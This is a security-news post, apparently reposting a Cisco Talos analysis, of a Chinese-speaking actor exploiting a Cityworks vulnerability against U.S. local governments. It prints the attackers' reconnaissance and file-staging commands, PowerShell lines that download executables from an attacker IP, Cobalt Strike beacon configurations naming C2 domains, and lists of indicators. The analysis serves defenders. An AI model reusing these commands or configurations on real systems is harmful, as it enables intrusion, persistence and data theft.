{"id":5629,"date":"2025-05-22T07:34:32","date_gmt":"2025-05-22T07:34:32","guid":{"rendered":"http:\/\/localhost\/?p=5629"},"modified":"2025-05-22T07:34:32","modified_gmt":"2025-05-22T07:34:32","slug":"uat-6382-exploits-cityworks-zero-day-vulnerability-to-deliver-malware","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=5629","title":{"rendered":"UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware"},"content":{"rendered":"<h2>Security Update News<\/h2>\n<h3>Update Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Update ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">TALOSBLOG:6A5B598DC62B478679323E21AD8A87D0<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">talosblog<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-05-22T10:00:42<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Last Updated<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-05-22T10:00:42<\/td>\n<\/tr>\n<\/table>\n<h3>Security Impact<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">8.6<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #ff4444; font-weight: bold;\">HIGH<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Attack Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">NETWORK<\/td>\n<\/tr>\n<\/table>\n<h3>Affected CVEs<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<li>CVE-2025-0944<\/li>\n<li>CVE-2025-0994<\/li>\n<\/ul>\n<\/div>\n<h3>Update Details<\/h3>\n<div style=\"; padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\n* Cisco Talos has observed exploitation of _CVE-2025-0994_, a remote-code-execution vulnerability in Cityworks, a popular asset management system.<br \/>  * The _Cybersecurity and Infrastructure Security Agenc_y (CISA) and _Trimble_ have both released advisories pertaining to this vulnerability, with Trimble&#8217;s advisory specifically listing indicators of compromise (IOCs) related to the intrusion exploiting the CVE.<br \/>  * IOCs pertaining to intrusions discovered by Talos that involve the exploitation of CVE-2025-0994 overlap with those listed in Trimble&#8217;s advisory.<br \/>  * Talos clusters this set of intrusions, exploiting CVE-2025-0944, under the &#8220;UAT-6382&#8221; umbrella of activity. Based on tooling and tactics, techniques and procedures (TTPs) employed by the threat actor, Talos assesses with high confidence that the exploitation and subsequent post-compromise activity is carried out by Chinese-speaking threat actors.<br \/>  * Post-compromise activity involves the rapid deployment of web shells such as AntSword and chinatso\/Chopper on the underlying IIS web servers. UAT-6382 also employed the use of Rust-based loaders to deploy Cobalt Strike and VSHell malware to maintain long-term persistent access.<br \/>  * We track the Rust-based loaders as &#8220;TetraLoader,&#8221; built using a recently publicly available malware building framework called &#8220;MaLoader.&#8221; MaLoader, written in Simplified Chinese, allows its operators to wrap shellcode and other payloads into a Rust-based binary, resulting in the creation of TetraLoader.<\/p>\n<p>* * *<\/p>\n<p>![UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware](https:\/\/blog.talosintelligence.com\/content\/images\/2025\/05\/threat-advisory-1.jpg)<\/p>\n<p>Talos has found intrusions in enterprise networks of local governing bodies in the United States (U.S.), beginning January 2025 when initial exploitation first took place. UAT-6382 successfully exploited _CVE-2025-0944_, conducted reconnaissance and rapidly deployed a variety of web shells and custom-made malware to maintain long-term access. Upon gaining access, UAT-6382 expressed a clear interest in pivoting to systems related to utilities management.<\/p>\n<p>The web shells, including AntSword, chinatso\/Chopper and generic file uploaders, contained messaging written in the Chinese language. Furthermore, the custom tooling, TetraLoader, was built using a malware-builder called &#8220;MaLoader&#8221; that is also written in Simplified Chinese. Based on the nature of this tooling, TTPs, hands-on-keyboard activity and victimology, Talos assesses with high confidence that UAT-6382 is a Chinese-speaking threat actor.<\/p>\n<p>## Initial reconnaissance<\/p>\n<p>Successful exploitation of the vulnerable Cityworks application leads to the attackers conducting preliminary reconnaissance to identify and fingerprint the server:<\/p>\n<p>    cmd.exe \/c ipconfig\u00a0<br \/>    cmd.exe \/c pwd\u00a0<br \/>    cmd.exe \/c dir\u00a0<br \/>    cmd.exe \/c dir ..\u00a0<br \/>    cmd.exe \/c dir c:\\\u00a0<br \/>    cmd.exe \/c dir c:\\inetpub\u00a0<br \/>    cmd.exe \/c tasklist\u00a0<\/p>\n<p>Specific folders were enumerated before attempting to place web shells in them:<\/p>\n<p>    cmd.exe \/c dir c:\\inetpub\\wwwroot\u00a0<br \/>    cmd.exe \/c c:\\inetpub\\wwwroot\\CityworksServer\\WebSite\u00a0<br \/>    cmd.exe \/c dir c:\\inetpub\\wwwroot\\CityworksServer\\WebSite\\Assets\u00a0<\/p>\n<p>## UAT-6382 heavily utilizes web shells<\/p>\n<p>Initial reconnaissance almost immediately led to the deployment of web shells to establish backdoor entry into the compromised network. These web shells consisted of multiple variations of AntSword, chinatso and Behinder along with additional generic file uploaders containing messages written in the Chinese language.<\/p>\n<p>![UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware](https:\/\/blog.talosintelligence.com\/content\/images\/2025\/05\/data-src-image-ad4eb460-0068-439a-8af6-41a74da5cee7.png)Figure 1. ASP based file uploader deployed by UAT-6382.<\/p>\n<p>## File enumeration and staging for exfiltration<\/p>\n<p>UAT-6382 enumerated multiple directories on servers of interest to identify files of interest to them and then staged them in directories where they had deployed web shells for easy exfiltration:<\/p>\n<p>    cmd.exe \/c dir c:\\inetpub\\wwwroot\\CityworksServer\\\u00a0<br \/>    cmd.exe \/c copy c:\\inetpub\\wwwroot\\CityworksServer\\<backup_archives> c:\\inetpub\\wwwroot\\CityworksServer\\Uploads\\<\/p>\n<p>## Deployment of backdoors<\/p>\n<p>UAT-6382 downloaded and deployed multiple backdoors on compromised systems via PowerShell:<\/p>\n<p>    cmd[.]exe \/c powershell -Command Invoke-WebRequest -Uri &#8216;hxxp[:\/\/]192[.]210[.]239[.]172:3219\/LVLWPH[.]exe&#8217; -OutFile &#8216;<parent_directory>\\LVLWPH[.]exe&#8217;\u00a0<br \/>    \u00a0<br \/>    cmd.exe \/c powershell -Command Invoke-WebRequest -Uri &#8216;http:\/\/192[.]210[.]239[.]172:3219\/MCUCAT[.]exe&#8217; -OutFile &#8216;C:\\windows\\temp\\z1.exe&#8217;\u00a0<br \/>    \u00a0<br \/>    powershell -Command Invoke-WebRequest -Uri &#8216;http:\/\/192[.]210[.]239[.]172:3219\/TJPLYT[.]exe&#8217; -OutFile &#8216;C:\\windows\\temp\\z33.exe&#8217;\u00a0<br \/>    \u00a0<br \/>    cmd.exe \/c powershell -Command Invoke-WebRequest -Uri &#8216;http:\/\/192[.]210[.]239[.]172:3219\/z44[.]exe&#8217; -OutFile &#8216;C:\\windows\\temp\\z44.exe&#8217;\u00a0<\/p>\n<p>The implants Talos recovered are Rust-based loaders containing an encoded or encrypted payload. The payload is decoded\/decrypted and injected into a benign process by the loader component. We track the loaders as &#8220;**TetraLoader.** &#8220;<\/p>\n<p>### TetraLoader analysis<\/p>\n<p>TetraLoader is a simple Rust-based loader. It will decode an embedded payload and inject it into a benign process such as notepad[.]exe to activate the payload. Talos has so far found two types of payloads deployed by TetraLoader on the infected endpoints:<\/p>\n<p>  1. **Cobalt Strike beacons** : These are position-independent, in-memory Cobalt Strike beacon shellcodes that are injected into a specified benign process by TetraLoader.<br \/>  2. **VShell stager** : Position independent shellcode, we&#8217;ve identified as a stager for VShell, that talks to a hardcoded C2 server and executes code issued to it.<\/p>\n<p>TetraLoader is built using a relatively new payload builder framework known as &#8220;MaLoader,&#8221; which first appeared on GitHub in December 2024. MaLoader has multiple options to encode and embed shellcodes into TetraLoader, the Rust-based container.<\/p>\n<p>![UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware](https:\/\/blog.talosintelligence.com\/content\/images\/2025\/05\/data-src-image-f4f15d29-f23e-4073-a380-75bbddf729d3.png)<\/p>\n<p>Figure 2. MaLoader&#8217;s builder interface<\/p>\n<p>MaLoader is written in Simplified Chinese, indicating that threat actors that employed it likely knew the language to a substantial degree of proficiency.<\/p>\n<p>### Cobalt Strike beacons<\/p>\n<p>The Cobalt Strike beacons are relatively straightforward, with minimal changes as compared to traditionally generated Cobalt Strike beacons. One of the beacons Talos discovered reaches out to the command-and-control (C2) domain &#8220;cdn[.]lgaircon[.]xyz&#8221; and specifically consists of the following configuration settings:<\/p>\n<p>    BeaconType &#8211; HTTPS  <br \/>    Port &#8211; 443  <br \/>    SleepTime &#8211; 45000  <br \/>    MaxGetSize &#8211; 2801745  <br \/>    Jitter &#8211; 37  <br \/>    MaxDNS &#8211; Not Found  <br \/>    PublicKey &#8211; b&#8217;0\\x81\\x9f0\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x01\\x05\\x00\\x03\\x81\\x8d\\x000\\x81\\x89\\x02\\x81\\x81\\x00\\x81\\x92\\xaa\\x1d\\xdeph\\xa6\\x80\\xf7\\xc9\\x7f\\xcf\\xba\\xce6\\xd9\\x11(\\x00\\x1a\\x95<\\xa5\\xdf\\x19\\x06\\xf3\\xd1;\\xb1\\x15\\xe9\\xdb\\xcan\\xc6\\xba\\xdb{\\xd3\\xc4,\\xd4\\xcf\\xd1\\x07\\xe2\\x1fi\\x07%\\xd2r\\x9c\\xa7\\xd1z+z\\xdd\\xac\\xd0\\x18\\x04\\x8e\\xfbqp\\xe1\\xe1\\xb81\\xb1v\\x12\\xe4\\x8d\\xf0\\xc0v\\x1c\\xf9\\xc6\\xca\\xc8\\xed\\xc4,y~\\x17r\\xebp)\\xed\\xa6\\xba\\xdc\\xf5+\\xeds.t\\xdc\\x8bl\\xee&#038;\\x9e\\x84\\xb4a\\xb1k\\x9a\\xc1x\\x00q\\r\\xe6\\xbfq\\x02\\x03\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' 0 17500 987654321 c2server - cdn[.]lgaircon[.]xyz, jquery-3[.]3[.]1[.]min[.]js useragent not found httpposturi jquery-3[.]3[.]2[.]min[.]js httpget_metadata httppost_metadata spawnto b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' pipename dns_idle dns_sleep ssh_host ssh_port ssh_username ssh_password_plaintext ssh_password_pubkey httpget_verb get httppost_verb post httppostchunk spawnto_x86 %windir%\\syswow64\\dllhost[.]exe spawnto_x64 %windir%\\sysnative\\dllhost[.]exe cryptoscheme proxy_config proxy_user proxy_password proxy_behavior use ie settings watermark bstagecleanup true bcfgcaution false killdate bprocinject_startrwx bprocinject_userwx bprocinject_minallocsize procinject_prependappend_x86 b'\\x90\\x90' empty procinject_prependappend_x64 procinject_execute ntdll:rtluserthreadstart createthread ntqueueapcthread-s createremotethread rtlcreateuserthread procinject_allocationmethod ntmapviewofsection busescookies hostheader host: cdn[.]lgaircon[.]xyz < pre><\/p>\n<p>    A second beacon using the same C2 domain consists of the following more detailed configuration:<\/p>\n<p>    BeaconType &#8211; HTTPS  <br \/>    Port &#8211; 443  <\/p>\n<p>    SleepTime &#8211; 35000  <br \/>    MaxGetSize &#8211; 2097152  <br \/>    Jitter &#8211; 30  <br \/>    MaxDNS &#8211; Not Found  <\/p>\n<p>    PublicKey_MD5 &#8211; 00c96a736d29c55e29c5e3291aedb0fd  <\/p>\n<p>    C2Server &#8211; lgaircon[.]xyz,\/owa\/OPWiaTU-ZEbuwIAKGPHoQAP006-PTsjBGKQUxZorq2  <br \/>    UserAgent &#8211; Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/14.0.3 Safari\/605.1.15  <\/p>\n<p>    HttpPostUri &#8211; \/owa\/idQ0RKiA2O1i9KKDzKRdmIBmkA8uQxmFzpBGRzGjaqG  <\/p>\n<p>    Malleable_C2_Instructions &#8211; NetBIOS decode &#8216;a&#8217;  <\/p>\n<p>    HttpGet_Metadata &#8211; ConstHeaders  <br \/>                      Host: lgaircon[.]xyz  <br \/>                      Accept: *\/ * <br \/>                      Cookie: MicrosoftApplicationsTelemetryDeviceId=95c18d8-4dce9854;ClientId=1C0F6C5D910F9;MSPAuth=3EkAjDKjI;xid=730bf7;wla42=ZG0yMzA2KjEs<br \/>                      ConstParams  <br \/>                      path=\/calendar  <br \/>                      Metadata  <br \/>                      netbios  <br \/>                      parameter &#8220;wa&#8221;  <\/p>\n<p>    HttpPost_Metadata &#8211; ConstHeaders  <br \/>                        Host: lgaircon[.]xyz  <br \/>                        Accept: *\/ * <br \/>                        SessionId  <br \/>                        netbios  <br \/>                        prepend &#8220;wla42=&#8221;  <br \/>                        prepend &#8220;xid=730bf7;&#8221;  <br \/>                        prepend &#8220;MSPAuth=3EkAjDKjI;&#8221;  <br \/>                        prepend &#8220;ClientId=1C0F6C5D910F9;&#8221;  <br \/>                        prepend &#8220;MicrosoftApplicationsTelemetryDeviceId=95c18d8-4dce9854;&#8221;  <br \/>                        header &#8220;Cookie&#8221;  <br \/>                        Output  <br \/>                        netbios  <br \/>                        parameter &#8220;wa&#8221;  <\/p>\n<p>    PipeName &#8211; Not Found  <br \/>    DNS_Idle &#8211; Not Found  <br \/>    DNS_Sleep &#8211; Not Found  <br \/>    SSH_Host &#8211; Not Found  <br \/>    SSH_Port &#8211; Not Found  <br \/>    SSH_Username &#8211; Not Found  <br \/>    SSH_Password_Plaintext &#8211; Not Found  <br \/>    SSH_Password_Pubkey &#8211; Not Found  <br \/>    SSH_Banner &#8211;  <\/p>\n<p>    HttpGet_Verb &#8211; GET  <br \/>    HttpPost_Verb &#8211; GET  <br \/>    HttpPostChunk &#8211; 96  <\/p>\n<p>    Spawnto_x86 &#8211; %windir%\\syswow64\\gpupdate[.]exe  <br \/>    Spawnto_x64 &#8211; %windir%\\sysnative\\gpupdate[.]exe  <\/p>\n<p>    CryptoScheme &#8211; 0  <\/p>\n<p>    Proxy_Config &#8211; Not Found  <br \/>    Proxy_User &#8211; Not Found  <br \/>    Proxy_Password &#8211; Not Found  <br \/>    Proxy_Behavior &#8211; Use IE settings  <\/p>\n<p>    Watermark_Hash &#8211; NtZOV6JzDr9QkEnX6bobPg==  <br \/>    Watermark &#8211; 987654321  <\/p>\n<p>    bStageCleanup &#8211; True  <br \/>    bCFGCaution &#8211; False  <\/p>\n<p>    KillDate &#8211; 0  <\/p>\n<p>    bProcInject_StartRWX &#8211; True  <br \/>    bProcInject_UseRWX &#8211; False  <br \/>    bProcInject_MinAllocSize &#8211; 26808  <br \/>    ProcInject_PrependAppend_x86 &#8211; b&#8217;\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90&#8242;  <br \/>                                    Empty  <\/p>\n<p>    ProcInject_PrependAppend_x64 &#8211; b&#8217;\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90&#8242;  <br \/>                                    Empty  <\/p>\n<p>    ProcInject_Execute &#8211; ntdll[.]dll:RtlUserThreadStart  <br \/>                         NtQueueApcThread-s  <br \/>                         SetThreadContext  <br \/>                         CreateRemoteThread  <br \/>                         kernel32[.]dll:LoadLibraryA  <br \/>                         RtlCreateUserThread  <\/p>\n<p>    ProcInject_AllocationMethod &#8211; VirtualAllocEx  <\/p>\n<p>    bUsesCookies &#8211; True  <br \/>    HostHeader &#8211;  <br \/>    headersToRemove &#8211; Not Found  <\/p>\n<p>    DNS_Beaconing &#8211; Not Found  <br \/>    DNS_get_TypeA &#8211; Not Found  <br \/>    DNS_get_TypeAAAA &#8211; Not Found  <br \/>    DNS_get_TypeTXT &#8211; Not Found  <br \/>    DNS_put_metadata &#8211; Not Found  <br \/>    DNS_put_output &#8211; Not Found  <br \/>    DNS_resolver &#8211; Not Found  <br \/>    DNS_strategy &#8211; round-robin  <br \/>    DNS_strategy_rotate_seconds &#8211; -1  <br \/>    DNS_strategy_fail_x &#8211; -1  <br \/>    DNS_strategy_fail_seconds &#8211; -1  <br \/>    Retry_Max_Attempts &#8211; 0  <br \/>    Retry_Increase_Attempts &#8211; 0  <br \/>    Retry_Duration &#8211; 0 <\/p>\n<p>Another beacon reaches out to C2 &#8220;www[.]roomako[.]com&#8221; and has the following configuration:<\/p>\n<p>    BeaconType &#8211; HTTPS  <br \/>    Port &#8211; 443  <br \/>    SleepTime &#8211; 25000  <br \/>    MaxGetSize &#8211; 2801745  <br \/>    Jitter &#8211; 37  <br \/>    MaxDNS &#8211; Not Found  <\/p>\n<p>    PublicKey &#8211; b&#8221;0\\x81\\x9f0\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x01\\x05\\x00\\x03\\x81\\x8d\\x000\\x81\\x89\\x02\\x81\\x81\\x00\\xaa#\\x18\\xebx;\\xd3?\\xe7\\xa7\\xb5\\x95\\xb1\\xe7\\xb2a\\x99O)\\x8e\\xebx\/:\\xc10c\\xfe\\x04#\\xe5_ \\x82\\xab\\x9d\\xbe\\x99\\xd0W\\xb5\\xfafra\\x14@\\x9a\\x16Fs5\\xa0\\xe6\\xf3\\xa6\\x13\\xdc\\x91N\\xdeql\\x89\\xc5RkD\\xefq\\xea\\xa8\\xc5&#8217;$\\xdf]l#\\xacs\\x0c\/;\\xc3E\\xf8\\x0fS\\x7f\\xbd\\xcd\\x0b]E\\x97\\xf2\\xf2Q\\xe8\\x00\\xa7u\\x04\\x90\\r\\x95\\xfd\\xac`k9\\xefa\\xe5\\x9ftW\\xc5\\xc7\\x90\\xb8\\x8a\\x15\\xab+\\x02\\x03\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8243;  <\/p>\n<p>    C2Server &#8211; www[.]roomako[.]com,\/jquery-3[.]3[.]1[.]min[.]js  <br \/>    UserAgent &#8211; Not Found  <br \/>    HttpPostUri &#8211; \/jquery-3[.]3[.]2[.]min[.]js  <br \/>    HttpGet_Metadata &#8211; Not Found  <br \/>    HttpPost_Metadata &#8211; Not Found  <\/p>\n<p>    SpawnTo &#8211; b&#8217;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8242;<\/p>\n<p>    PipeName &#8211; Not Found  <\/p>\n<p>    DNS_Idle &#8211; Not Found  <br \/>    DNS_Sleep &#8211; Not Found  <br \/>    SSH_Host &#8211; Not Found  <br \/>    SSH_Port &#8211; Not Found  <br \/>    SSH_Username &#8211; Not Found  <br \/>    SSH_Password_Plaintext &#8211; Not Found  <br \/>    SSH_Password_Pubkey &#8211; Not Found  <\/p>\n<p>    HttpGet_Verb &#8211; GET  <br \/>    HttpPost_Verb &#8211; POST  <br \/>    HttpPostChunk &#8211; 0  <\/p>\n<p>    Spawnto_x86 &#8211; %windir%\\syswow64\\dllhost[.]exe  <br \/>    Spawnto_x64 &#8211; %windir%\\sysnative\\dllhost[.]exe  <\/p>\n<p>    CryptoScheme &#8211; 0  <\/p>\n<p>    Proxy_Config &#8211; Not Found  <br \/>    Proxy_User &#8211; Not Found  <br \/>    Proxy_Password &#8211; Not Found  <br \/>    Proxy_Behavior &#8211; Use IE settings  <\/p>\n<p>    Watermark &#8211; 987654321  <br \/>    bStageCleanup &#8211; True  <br \/>    bCFGCaution &#8211; False  <br \/>    KillDate &#8211; 0  <\/p>\n<p>    bProcInject_StartRWX &#8211; False  <br \/>    bProcInject_UseRWX &#8211; False  <br \/>    bProcInject_MinAllocSize &#8211; 17500  <br \/>    ProcInject_PrependAppend_x86 &#8211; b&#8217;\\x90\\x90\\x90&#8242;  <br \/>                                  Empty  <\/p>\n<p>    ProcInject_PrependAppend_x64 &#8211; b&#8217;\\x90\\x90\\x90&#8242;  <br \/>                                  Empty  <\/p>\n<p>    ProcInject_Execute &#8211; ntdll:RtlUserThreadStart  <br \/>                         CreateThread  <br \/>                         NtQueueApcThread-s  <br \/>                         CreateRemoteThread  <br \/>                         RtlCreateUserThread  <\/p>\n<p>    ProcInject_AllocationMethod &#8211; NtMapViewOfSection  <\/p>\n<p>      bUsesCookies &#8211; True  <\/p>\n<p>    HostHeader &#8211; Host: www[.]roomako[.]com <\/p>\n<p>### VShell stager<\/p>\n<p>The VShell stager is relatively simple and uses rudimentary socket APIs to connect with a hardcoded C2 server such as &#8220;192[.]210[.]239[.]172:2219&#8221;. The stager, usually injected into a benign process by TetraLoader, initially sends a preliminary beacon to the C2 and then waits for a response. The response sent by the C2 is usually a single-byte Xorred payload that is then executed in memory by the implant. This is likely UAT-6382&#8217;s modification in VShell.<\/p>\n<p>![UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware](https:\/\/blog.talosintelligence.com\/content\/images\/2025\/05\/data-src-image-102d0a8a-8b25-4c7f-a7ce-7a274f9334ad.png)Figure 3. Implant receiving and executing shellcode from the C2.<\/p>\n<p>The payload received by the VShell stager is in fact the actual VShell implant. VShell is a GoLang-based implant that talks to its C2 and provides a wide variety of remote access trojan-based functionalities, such as the capabilities to perform file management, run arbitrary commands, take screenshots and run NPS-based proxies on the infected endpoint.<\/p>\n<p>![UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware](https:\/\/blog.talosintelligence.com\/content\/images\/2025\/05\/data-src-image-383ddb2c-c282-47ef-93ad-007fe1bb254f.png)Figure 4. A sample VShell C2 server with one client connected.<\/p>\n<p>Like other Chinese-authored tooling observed in the intrusions, VShell C2 panels are also written in Chinese. Although limited language support for English is available in the panel, it still mostly uses the Chinese language as seen in Figure 5, indicating that operators need to be familiar with the language to use the panel proficiently.<\/p>\n<p>![UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware](https:\/\/blog.talosintelligence.com\/content\/images\/2025\/05\/data-src-image-8e3ac60c-076b-4e6e-9f02-9d6972249d8a.png)Figure 5. VShell&#8217;s file manager panel uses Chinese even when configured to use English.<\/p>\n<p>## Coverage<\/p>\n<p>Ways our customers can detect and block this threat are listed below.<\/p>\n<p>![UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware](https:\/\/blog.talosintelligence.com\/content\/images\/2025\/05\/data-src-image-5c2a82fa-1473-45f4-807a-db6381614543.jpeg)<\/p>\n<p> _Cisco Secure Endpoint_ (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free _here._<\/p>\n<p> _Cisco Secure Email_ (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free _here_.<\/p>\n<p> _Cisco Secure Firewall_ (formerly Next-Generation Firewall and Firepower NGFW) appliances such as _Threat Defense Virtual_, _Adaptive Security Appliance_ and _Meraki MX_ can detect malicious activity associated with this threat.<\/p>\n<p> _Cisco Secure Network\/Cloud Analytics_ (Stealthwatch\/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device.<\/p>\n<p> _Cisco Secure Malware Analytics_ (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.<\/p>\n<p> _Cisco Secure Access_ is a modern cloud-delivered Security Service Edge (SSE) built on Zero Trust principles. Secure Access provides seamless transparent and secure access to the internet, cloud services or private application no matter where your users work. Please contact your Cisco account representative or authorized partner if you are interested in a free trial of Cisco Secure Access.<\/p>\n<p> _Umbrella_, Cisco&#8217;s secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network.<\/p>\n<p> _Cisco Secure Web Appliance_ (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.<\/p>\n<p>Additional protections with context to your specific environment and threat data are available from the _Firewall Management Center_.<\/p>\n<p> _Cisco Duo_ provides multi-factor authentication for users to ensure only those authorized are accessing your network.<\/p>\n<p>Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on _Snort.org_.<\/p>\n<p>## Indicators of compromise (IOCs)<\/p>\n<p>The IOCs can also be found in our GitHub repository here.<\/p>\n<p>**TetraLoader**<\/p>\n<p>    14ed3878b6623c287283a8a80020f68e1cb6bfc37b236f33a95f3a64c4f4611f\u00a0<br \/>    4ffc33bdc8527a2e8cb87e49cdc16c3b1480dfc135e507d552f581a67d1850a9\u00a0<br \/>    1de72c03927bcd2810ce98205ff871ef1ebf4344fba187e126e50caa1e43250b\u00a0<br \/>    1c38e3cda8ac6d79d9da40834367697a209c6b07e6b3ab93b3a4f375b161a901\u00a0<\/p>\n<p>**CobaltStrike beacons**<\/p>\n<p>    C02d50d0eb3974818091b8dd91a8bbb8cdefd94d4568a4aea8e1dcdd8869f738\u00a0<\/p>\n<p>**Network IOCs**<\/p>\n<p>    cdn[.]phototagx[.]com\u00a0<br \/>    www[.]roomako[.]com\u00a0<br \/>    lgaircon[.]xyz<br \/>    https:\/\/www[.]roomako[.]com\/jquery-3[.]3[.]1[.]min[.]js\u00a0\u00a0<br \/>    https:\/\/lgaircon[.]xyz\/owa\/OPWiaTU-ZEbuwIAKGPHoQAP006-PTsjBGKQUxZorq2\u00a0<br \/>    https:\/\/cdn[.]lgaircon[.]xyz\/jquery-3[.]3[.]1[.]min[.]js\u00a0<br \/>    hxxps[:\/\/]cdn[.]phototagx[.]com\/\u00a0<br \/>    \u00a0\u00a0<br \/>    192[.]210[.]239[.]172\u00a0<br \/>    hxxp[:\/\/]192[.]210[.]239[.]172:3219\/LVLWPH[.]exe\u00a0<br \/>    hxxp[:\/\/]192[.]210[.]239[.]172:3219\/MCUCAT[.]exe\u00a0<br \/>    hxxp[:\/\/]192[.]210[.]239[.]172:3219\/TJPLYT[.]exe\u00a0<br \/>    hxxp[:\/\/]192[.]210[.]239[.]172:3219\/z44[.]exe\n<\/div>\n<p><a href=\"https:\/\/blog.talosintelligence.com\/uat-6382-exploits-cityworks-vulnerability\/\" target=\"_blank\" style=\"display: inline-block; color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Advisory Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Security Update News Update Information Title UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware Update ID TALOSBLOG:6A5B598DC62B478679323E21AD8A87D0 Type talosblog Published 2025-05-22T10:00:42 Last Updated 2025-05-22T10:00:42 Security&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,81,12,15,13,7,69,11,5],"class_list":["post-5629","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-cvss-86","tag-exploit","tag-high","tag-news","tag-security","tag-talosblog","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=5629\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Security Update News Update Information Title UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware Update ID 